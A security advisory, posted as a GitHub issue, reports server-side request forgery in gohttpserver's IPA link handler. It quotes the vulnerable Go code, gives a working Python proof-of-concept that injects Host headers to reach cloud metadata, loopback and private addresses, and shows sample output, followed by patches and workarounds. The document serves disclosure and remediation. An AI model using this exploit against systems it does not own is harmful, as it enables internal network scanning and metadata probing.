codeskyblue / codeskyblue/gohttpserver

Security Advisory: Server-Side Request Forgery in `codeskyblue/gohttpserver`

Open
#236 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
2.8k
Forks
583
PR merge metrics
No merged PRs in 30d

Description

## Summary

`codeskyblue/gohttpserver` is vulnerable to server-side request forgery (SSRF) in the `/-/ipa/link/{path}` handler. When the `--plistproxy` server flag is set, the handler issues an outbound HTTP `GET` request to a URL whose host component is taken verbatim from the incoming request's `Host` header. The handler does not validate the resulting target, and a remote caller can therefore coerce the server into issuing HTTP requests to private addresses, loopback, link-local cloud metadata services (e.g. `169.254.169.254`), or any other reachable host.

## Affected Versions

- Tagged release `1.3.0` (the most recent tag)
- `master` branch through commit `75eb27f9c90de186a54b9ea755c50de6a1d5d605`
- All earlier versions that include the `hIpaLink` / `genPlistLink` code path and accept the `--plistproxy` configuration flag

## Severity

**High.** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — 8.5 (High).

The Privileges Required metric is set to **Low** in this advisory because typical deployments place gohttpserver behind HTTP Basic authentication (the project's documented authentication mechanism). Deployments that run `gohttpserver` without authentication should rate the Privileges Required metric as **None**, raising the score to 9.4 (Critical).

## CWE

CWE-918: Server-Side Request Forgery (SSRF)

## Description

The vulnerable code is the `hIpaLink` handler in `httpstaticserver.go`:

```go
func (s *HTTPStaticServer) hIpaLink(w http.ResponseWriter, r *http.Request) {
path := mux.Vars(r)["path"]
var plistUrl string

if r.URL.Scheme == "https" {
plistUrl = combineURL(r, "/-/ipa/plist/"+path).String()
} else if s.PlistProxy != "" {
httpPlistLink := "http://" + r.Host + "/-/ipa/plist/" + path
url, err := s.genPlistLink(httpPlistLink)
...
}
}

func (s *HTTPStaticServer) genPlistLink(httpPlistLink string) (plistUrl string, err error) {
pp := s.PlistProxy
if pp == "" {
pp = defaultPlistProxy
}
resp, err := http.Get(httpPlistLink) // ← SSRF sink
...
retData, err := http.Post(pp, "text/xml", bytes.NewBuffer(data))
...
if err = json.Unmarshal(jsonData, &ret); err != nil {
return
}
plistUrl = pp + "/" + ret["key"]
return
}
```

Two design choices combine to produce the vulnerability:

1. The outbound URL is constructed from `r.Host`, which is taken from the request's `Host` header for HTTP/1.1 clients. The header is fully attacker-controlled.
2. The `r.URL.Scheme == "https"` guard appears to be intended as a "skip outbound fetch when the deployment is HTTPS" check. In Go's `net/http`, however, `r.URL.Scheme` is empty on incoming server requests — it is populated only on the client side. The guard therefore never matches in normal server operation, and the SSRF branch is taken on every request to `/-/ipa/link/` when `--plistproxy` is configured.

The handler additionally exposes a partial response-content disclosure channel. After the outbound `http.Get`, the response body is POSTed to the configured `PlistProxy` URL, and the proxy's response is then run through `json.Unmarshal`. When the upstream response is not valid JSON, the Go JSON parser emits the error string `invalid character '' looking for beginning of value`, where `` is the first byte of the upstream response. The error message is returned to the caller verbatim in the HTTP 500 response body. The first byte of any reachable HTTP service's response is therefore observable to the remote caller. Standard Go network error strings (`connection refused`, `connection reset by peer`, `connection timed out`, `unexpected EOF`, `no such host`) also surface in the error body and provide a reliable port-scanning and host-discovery primitive.

The outbound request is bounded to TCP port 80 — Go's `http.Get` strips any port suffix the caller attempts to inject through the `Host` header — but the primitive is sufficient to reach cloud metadata services on link-local addresses and any HTTP service inside the host's network namespace.

## Impact

A remote caller authenticated to the gohttpserver instance (or unauthenticated, if the deployment runs without `--auth`) can:

- Reach the AWS / GCP / Azure / Alibaba Cloud instance metadata service (`169.254.169.254`) and exfiltrate the first byte of its responses through the error oracle. On hosts that have not enabled IMDSv2 with a hop limit, this is sufficient to confirm IMDSv1 enablement and to fingerprint the cloud provider.
- Enumerate HTTP services on private/loopback/cloud-internal addresses by classifying the JSON-unmarshal error pattern against the Go network error patterns.
- Disclose the host's recursive DNS resolver address (the error message for a non-existent hostname includes the resolver IP and port).
- Pivot to any HTTP service that grants its access on the basis of the source IP of the gohttpserver host.

## Proof of Concept

The following Python script reproduces the primitive against a locally-running gohttpserver instance started with `--plistproxy` configured. Replace `BASE` and `AUTH` with values for your own test deployment.

```python
#!/usr/bin/env python3
"""Proof-of-concept for gohttpserver SSRF via Host-header injection.
Run against your own test instance to confirm the vulnerability."""
import re, requests, urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings()

BASE = "http://localhost:8000" # ← your test gohttpserver instance
AUTH = HTTPBasicAuth("user", "password") # ← omit if --auth not set

def ssrf(target_host, path="x"):
"""Coerce gohttpserver into issuing http.Get to http:///-/ipa/plist/."""
r = requests.get(
f"{BASE}/-/ipa/link/{path}",
auth=AUTH, verify=False, timeout=15,
headers={"Host": target_host},
)
return r.status_code, r.text

def classify(body):
"""Map response body to a primitive class."""
if (m := re.search(r"invalid character '(.)'", body)): return f"http (first byte={m.group(1)!r})"
if "connection refused" in body: return "refused (alive, port 80 closed)"
if "connection reset" in body: return "reset"
if "connection timed out" in body: return "timeout (filtered or down)"
if "no such host" in body: return "dns_fail"
if "unexpected EOF" in body or "transport connection broken" in body: return "eof"
return "unclassified"

for label, host in [
("baseline (example.com)", "example.com"),
("cloud metadata service", "169.254.169.254"),
("loopback :80", "127.0.0.1"),
("private subnet", "10.0.0.1"),
("invalid TLD (DNS leak)", "this.does.not.exist.invalid"),
]:
status, body = ssrf(host)
snippet = body.strip().splitlines()[0][:140] if body.strip() else "(empty)"
print(f"=== {label} (Host: {host}) ===")
print(f" HTTP status: {status}")
print(f" classifier: {classify(body)}")
print(f" body: {snippet}")
print()
```

### Expected output

Against a vulnerable instance running on a host with outbound HTTP allowed:

```
=== baseline (example.com) (Host: example.com) ===
HTTP status: 500
classifier: http (first byte='<')
body: invalid character '<' looking for beginning of value

=== cloud metadata service (Host: 169.254.169.254) ===
HTTP status: 500
classifier: http (first byte='<')
body: invalid character '<' looking for beginning of value

=== loopback :80 (Host: 127.0.0.1) ===
HTTP status: 500
classifier: refused (alive, port 80 closed)
body: Get "http://127.0.0.1/-/ipa/plist/x": dial tcp 127.0.0.1:80: connect: connection refused

=== private subnet (Host: 10.0.0.1) ===
HTTP status: 500
classifier: timeout (filtered or down)
body: Get "http://10.0.0.1/-/ipa/plist/x": dial tcp 10.0.0.1:80: connect: connection timed out

=== invalid TLD (DNS leak) (Host: this.does.not.exist.invalid) ===
HTTP status: 500
classifier: dns_fail
body: Get "http://this.does.not.exist.invalid/-/ipa/plist/x": dial tcp: lookup this.does.not.exist.invalid on :53: no such host
```

The presence of an `invalid character` error confirms that gohttpserver issued an outbound HTTP request to the caller-chosen host. The first byte of the upstream response is leaked through the error message.

### Test-instance setup

The vulnerability can be reproduced with the project's own quick-start instructions, augmenting the command with `--plistproxy`:

```
docker run -p 8000:8000 \
codeskyblue/gohttpserver \
/gohttpserver --plistproxy https://plistproxy.example.com
```

Any value passed to `--plistproxy` is sufficient to enable the vulnerable branch — the proxy is reached after the outbound `http.Get` fires, so the SSRF primitive resolves before the proxy interaction matters.

## Suggested Patches

A complete fix should address both the root cause (unsanitized `r.Host` use) and the response-side disclosure channel. Suggested code changes in `httpstaticserver.go`:

1. **Stop trusting the `Host` header for outbound URL construction.** Use the server's configured public hostname (already available via the `--site` / configured external URL, or settable through a new flag) instead of `r.Host`:

```go
httpPlistLink := "http://" + s.ExternalHost + "/-/ipa/plist/" + path
```

2. **Validate the outbound target against an allowlist.** If a use case genuinely requires the request-derived hostname, reject any value that resolves to a private, loopback, or link-local address before issuing the request. A small helper using `net.LookupHost` and `net.IP.IsPrivate` / `net.IP.IsLoopback` / `net.IP.IsLinkLocalUnicast` is sufficient.

3. **Stop returning Go error strings verbatim to the HTTP response.** Wrap the error from `genPlistLink` with a generic message (`http.Error(w, "plist generation failed", 500)`), keep the underlying error in server logs only.

4. **Reconsider the `r.URL.Scheme == "https"` guard.** In Go's server-side HTTP, `r.URL.Scheme` is empty on incoming requests; the intended HTTPS-pathway is therefore never used. The check should be replaced with `r.TLS != nil` if the original intent was "did the client connect over TLS to this server."

## Workarounds

Until a fixed release is available, operators of `codeskyblue/gohttpserver` can mitigate as follows:

- Run the server without `--plistproxy`. The SSRF branch is gated on `s.PlistProxy != ""`; with the flag unset, the handler returns a 500 error before issuing any outbound request.
- Block outbound network access from the host to private, loopback, and link-local address ranges at the host firewall or cloud VPC ACL. The relevant ranges are `10.0.0.0/8`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, and `192.168.0.0/16`.
- Enable IMDSv2 with hop-limit 1 on EC2 instances hosting gohttpserver. This blocks SSRF-style fetches that originate from a different process or container than the metadata client.
- Place gohttpserver behind a reverse proxy that strips or overrides the `Host` header before forwarding the request.

## References

- gohttpserver, "codeskyblue/gohttpserver", https://github.com/codeskyblue/gohttpserver
- gohttpserver, "httpstaticserver.go (hIpaLink, genPlistLink)", https://github.com/codeskyblue/gohttpserver/blob/master/httpstaticserver.go
- OWASP, "A10:2021 - Server-Side Request Forgery (SSRF)", https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
- CWE, "CWE-918: Server-Side Request Forgery (SSRF)", https://cwe.mitre.org/data/definitions/918.html

## Disclosure Timeline

- **2026-05-13** — Vulnerability identified during a third-party security assessment of a deployment running gohttpserver 1.2.0.
- **2026-05-14** — Advisory submitted.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.